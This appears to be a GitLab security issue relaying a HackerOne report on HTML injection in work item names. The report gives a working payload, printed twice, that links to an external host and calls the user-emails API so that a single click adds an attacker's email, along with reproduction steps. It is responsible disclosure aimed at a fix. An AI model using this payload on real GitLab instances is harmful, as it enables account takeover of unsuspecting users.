Skip to content

HTML injection in Workitem name leads to account takeover

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3189522 by joaxcar on 2025-06-11, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

This is similar to the issue reported here https://hackerone.com/reports/REDACTED that got fixed in https://about.gitlab.com/releases/2025/06/11/patch-release-gitlab-18-0-2-released/

This time its the name of Workitems that re rendered directly using v-safe-html. Which is somewhat safe but that can still be abused for some injection attacks as I proved in #3085738

By naming a Workitem

<a href=/\\joaxcar.com/fun/delay/workitem.html><div class=js-new-user-signups-cap-reached data-dismiss-endpoint='/api/v4/user/emails?email=a@test.se' data-defer-links=false data-feature-id=1><button class='js-close fixed-top gl-h-full gl-w-full'>

and then visit the workitem page (ex., http://gdk.test:3000/test/test/-/issues/1), the entire screen will become a button that will lead to ATO by adding an email to the victim account.

At the moment Workitems are in Beta and thus not enabled on gitlab.com its possible to test it on a GDK instance

Steps to reproduce

  1. Enable the three flags work_item_planning_view, work_item_epics and namespace_level_work_items on your GDK
  2. Go into any project workitem list like this http://gdk.test:3000/test/test/-/work_items
  3. Create a new workitem named
<a href=/\\joaxcar.com/fun/delay/workitem.html><div class=js-new-user-signups-cap-reached data-dismiss-endpoint='/api/v4/user/emails?email=a@test.se' data-defer-links=false data-feature-id=1><button class='js-close fixed-top gl-h-full gl-w-full'>
  1. Visit http://gdk.test:3000/test/test/-/issues/1
  2. Click anywhere and the attack should start like in my other report

Impact

HTML injection that can be escalated to ATO

What is the current bug behavior?

HTML is not sanitized in workitem names

What is the expected correct behavior?

There should be better sanitation on work items

Impact

HTML injection that can be escalated to ATO

How To Reproduce

Please add reproducibility information to this section:

Edited by Costel Maxim